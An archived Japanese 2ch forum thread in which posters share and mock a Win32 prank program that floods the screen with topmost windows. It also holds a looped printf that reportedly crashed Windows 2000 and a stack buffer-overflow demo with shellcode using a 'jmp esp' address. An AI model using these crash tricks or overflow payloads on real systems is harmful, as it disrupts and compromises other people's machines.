トップページ⇒tech
63コメント16KB

OSボム

■ このスレッドは過去ログ倉庫に格納されています
0001DELLNGNG
#include<windows.h>
#include<time.h>
long __stdcall WndProc(HWND h, UINT u, WPARAM w , LPARAM l){
HDC d; PAINTSTRUCT p; static RECT r;
static char str[128] = "go to hell! FuckUP!!!.";
switch(u){
case WM_CLOSE:
return 0;
case 15:
d = BeginPaint(h,&p);
GetClientRect(h,&r);
DrawText(d,str,-1,&r,DT_WORDBREAK);
EndPaint(h,&p);
return 0;
}
return DefWindowProc(h,u,w,l);
}
int __stdcall WinMain(HINSTANCE I, HINSTANCE,
PSTR s, int n){
HWND h;MSG msg;WNDCLASS w;
w.style= CS_HREDRAW | CS_VREDRAW;
w.lpfnWndProc= WndProc;
w.cbClsExtra= w.cbWndExtra= 0;
w.hInstance= I;
w.hIcon= LoadIcon(0, IDI_HAND);
w.hCursor= LoadCursor(0, IDC_NO);
w.hbrBackground= (HBRUSH)GetStockObject(WHITE_BRUSH);
w.lpszMenuName= 0;
w.lpszClassName= "STATIC";
RegisterClass(&w);
for(int x,y,i = 0;i<300;i++){
x = rand() % 924;
y = rand() % 668;
h = CreateWindowEx(WS_EX_TOPMOST,
"STATIC","アーッヒャッヒャッヒャ",
WS_OVERLAPPEDWINDOW | WS_VISIBLE ,
x , y , 200 , 200 , 0 , 0,
I , 0
);}
while (GetMessage(&msg , 0, 0 , 0)) DispatchMessage(&msg);
return msg.wParam;
}
0002デフォルトの名無しさんNGNG
2げっとしとくけどこれ何?
0003デフォルトの名無しさんNGNG
要は偶然発見した自分のバグコードをOSクラッシューだかなんだか言って自慢したい子供だろ。

俺も昔、赤と青と白を高速切り替えして殺人プログラムとか作ったよ。
そう言うたぐい。
0004デフォルトの名無しさんNGNG
>>3
そうなのか。ありが�d
俺も昔Ctrl+Alt+Delete無効にしてBlockInputかけ続けるプログラム作ったっけ。
0005デフォルトの名無しさんNGNG
くらっしゅー
0006 NGNG
>3
赤と白と青ってどういう仕組みなの?
教えてキボンヌ
0007DELLNGNG
>3
偶然発見したバグではなく、自分で考えますた。

貴方はレベルが高いようですな。俺は初心者です。スマソ
0008DELLNGNG
あと
VisualC++で保存したWin32APIを開いてビルトすると

"外部参照 1 が未解決です。"
みたいなメッセージがでてきてエラーになるんですが、
そのまま元に戻す方法だれか知りませんか?
0009デフォルトの名無しさんNGNG
放置。
0010デフォルトの名無しさんNGNG
> VisualC++で保存したWin32APIを開いてビルトすると
ボクは初心者なのでこのくだりが理解できかねます。くたばれチンポ野郎
0011デフォルトの名無しさんNGNG
>>6
ポケモン事件ってあったっしょ。あれ。
0012DELLNGNG
>10
>1のコード実行した被害者ですか?
スマソ
0013デフォルトの名無しさんNGNG
http://js-web.cside.com/
0014デフォルトの名無しさんNGNG
>>10
僕も初心者です。Win32APIってVC++で保存できるのですね。勉強になりました。
0015DELLNGNG
↑Win32APIのコードね
0016デフォルトの名無しさんNGNG
>>15
初心者なんですがWin32APIのコードなんて公開されてるんですね。
僕もそれを読んでWindowsのことを学ぼうと思います。
0017DELLNGNG
>16
勝手にやれば?
0018DELLNGNG
あと参考のために自分で作ったOSクラッシャーのAPIコード公開しる。
アルゴリズムの仕組みなど説明きぼんぬ
0019デフォルトの名無しさんNGNG
これのどこがクラッシャーなのか分からん。
普通に実行できるし。
0020デフォルトの名無しさんNGNG
>>18
いい加減自分がスレッドを立てるに値しない頭だと言うことに気づけ。
0021DELLNGNG
>20
悪かったな。
0022デフォルトの名無しさんNGNG
>>21
削除要請
http://qb.2ch.net/saku2ch/

ああ。態度で示せ。
0023DELLNGNG
>19
さっきから気になったんだけど、実行したらどうなりましたか?

でたらめの場合クチだけのシッタカ野郎認定で。
0024デフォルトの名無しさんNGNG
実行して欲しくてウズウズしてるバカがいるスレはここですか?
0025デフォルトの名無しさんNGNG
>>23
>>1は>>1のソースをコンパイルできません。




        た だ の 厨 房 で す 。






0026DELLNGNG
>24
別に実行してもらわなくてもそれなりの知識があれば
これくらいのコード見ただけでどうなるか解るだろうよ。

>25
お前のようにコンパイルできない奴は本当の厨房です。
普通の人ならば「このコード実行してください」
といえば普通にコンパイルできますが。
0027デフォルトの名無しさんNGNG
ウィンドウがたくさん出てきました。
で、1個閉じたら全部消えました。OSはビクともしません。
0028デフォルトの名無しさんNGNG
この板でこれ程恥ずかしいスレ立つのもめずらしいな。
0029デフォルトの名無しさんNGNG
プロセスの終了でも全部1度に消える。
0030デフォルトの名無しさんNGNG
今日も平和だな・・・。
0031デフォルトの名無しさんNGNG
この程度で「OSボム」という>>1…非力な環境だな
0032DELLNGNG
>27
おしい!

×押しても閉じられないように細工
他のウインドウがアクティブになろうが常に最前面に表示
タスクマネージャーから実行中プログラム強制停止させようとしても、
注意書きメッセージボックスがウインドウに隠れてしまって
一つ一つどかしていかないと、OKボタン押せません。

実行プログラムは一つなのでそれを停止させれば、ウインドウはすべて消えます。
やはり※OSはビクともしません
0033DELLNGNG
>31
君がいうOSボムというのは?
コードうpしなくていいから、参考程度に教えてキボンヌ。
0034デフォルトの名無しさんNGNG
>>32
で、それのどこがOSボムなんだ?
0035DELLNGNG
>34
だからそれは>33で質問してるだろ?
0036デフォルトの名無しさんNGNG
>>35
つぅかお前誰だよ?
003727NGNG
言い方悪かったか。
適当なウィンドウをタスクマネージャで終了させると、
このウィンドウは応答しません云々とでて、強制終了選ぶと全部一気に閉じたよ。惜しいも何も事実。
0038デフォルトの名無しさんNGNG
Windows2000限定(XPも?)らしいけど

#include <stdio.h>

void main(void)
{
printf"\t\b\b");
}

こんなのを言うのかな?
0039デフォルトの名無しさんNGNG
>>38
SP3で修正されたっけ。
XPはどうなんだろ。アップデータ出たのかな?
0040デフォルトの名無しさんNGNG
>>38
繰り返さなくてええのかえ?
0041デフォルトの名無しさんNGNG
>>40
一発で落ちるので問題ないかと。
0042デフォルトの名無しさんNGNG
>>38
これ実行したらどうなるの?
0043デフォルトの名無しさんNGNG
>>38のコードためしにVC++でコンパイルしたけど
エラーになったよ
0044デフォルトの名無しさんNGNG
>>42
実行してみなよ。DELLじゃあるまいし。
0045デフォルトの名無しさんNGNG
Σ(・∀・;)一回でかい・・・
004638NGNG
>>40
繰り返さないと駄目みたいですね

#include <stdio.h>

void main(void)
{
for(;;)printf"\t\b\b");
}

>>42
青い画面が見れます。
0047デフォルトの名無しさんNGNG
>>46
おいおい、でたらめ言うなよ・・・
0048デフォルトの名無しさんNGNG
>>47
別に既に修正済みなんだから気にすることも無し。
0049デフォルトの名無しさんNGNG
コンソールプログラムでWindows 2000がハングアップ
http://slashdot.jp/article.pl?sid=01/10/28/0741257&mode=thread&threshold=
005010NGNG
>>12
的外れなレスをアルリガトウ。恥ずかしげもなくこんなスレ立てられるってのは
ある意味尊敬に値するな。

しかしこの手のプログラムは誰もが一度は通る道なのかも。
漏れもWM_CLOSEが来たら自分をもうひとつ起動する終了不能アプリ作って遊んだりしたもんだ。
0051デフォルトの名無しさんNGNG
>>50
こんな、クソ役に立たねープログラム組んだ事も、
考えた事もない俺は、みんなと違う道を通ってますか?
0052デフォルトの名無しさんNGNG
>>51
2ちゃんに来ている時点で同レベル。安心しなされ。
0053デフォルトの名無しさんNGNG
OSボムっていうくらいだから、発動したら二度と起動すらしないくらいのものをきぼんぬ
0054デフォルトの名無しさんNGNG
>>52
俺ね、思うんだけどね。
2ちゃん来てる=レベル低い みたいな事なぜ言うんだろう?
たしかに、役に立たない情報も多いけど、
役に立つ情報も沢山あるし。
煽りや罵倒も多々あるけど、この情報量を見ると利用しない手はない。
大きな情報交換の場である2ちゃんを、レベル低いから見ないなんて言ってるヤツは、
不器用。頭固い。勘違いヤロー。
または、多い情報の中から有益と思える情報を見つける事のできない要領の悪いヤツ。
うまくすれば、良い情報源だと思うんだけどねぇ〜。

と、マジレスしてみますた。
0055デフォルトの名無しさんNGNG
>>54
人としてどうか。ということかもシレーヌ
0056デフォルトの名無しさんNGNG
>>55
人として・・・???
意味が分らないッス。

たしかに、マジ変なのも居てるけどね(w
たとえば、>>1とか。(w
俺は2ちゃん覗きだして自分が変わったとも思わないし、
強いて、悪い影響を受けたとも思ってない。
「すげーヤツも居るんだな!オイ!俺も、もうちと勉強せねば!」
みたいな良い影響は少し受けたり受けなかったり。

と、またマジレスしてみたけど、
まぁ人それぞれってな無難なまとめで。(w
0057デフォルトの名無しさんNGNG
ハッキングテク語るスレって欲しいんだけど、
どういう展開になるか予想がつかないんだよなあ。

というわけで気球上げてみる。

void func(unsigned char *src, size_t size)
{
 unsigned char b[4];
 memcpy(b, src, size);
}

void test()
{
 unsigned char code[] = {
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x8b, 0x94, 0xf8, 0x77, // address of "jmp esp"
  0x8b, 0xc4, 0x83, 0xc0, 0x0f, 0x50, 0x6a, 0x00, 0xb8,
  0xfb, 0x7a, 0xe8, 0x77, // address of FatalAppExit()
  0xff, 0xd0, "hello"
 };

  srand((unsigned)time(NULL));
  _alloca(rand()/0x10000);

  func(code, sizeof(code));
}
0058デフォルトの名無しさんNGNG
>>57
立つ度に荒れて20レス逝く前に沈んでいっている。
0059デフォルトの名無しさんNGNG
>>58
想像するに、スレ立ってもハカー気取りの厨房しか集まらん、ということか。
逝ってきます。
0060_NGNG
   / ̄ ̄ ̄ ̄ ̄ ミ
  /   ,――――-ミ
 /  /  /   \ |
 |  /   ,(・) (・) |
  (6       つ  |
  |      ___  |   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  |      /__/ /  < age!
/|         /\   \__________

0061デフォルトの名無しさんNGNG
さらしあげ
0062デフォルトの名無しさんNGNG
OSボムだって。
こわいこわい。
0063DELLNGNG
これ
http://isweb45.infoseek.co.jp/play/elno/DeskTopBom.exe
■ このスレッドは過去ログ倉庫に格納されています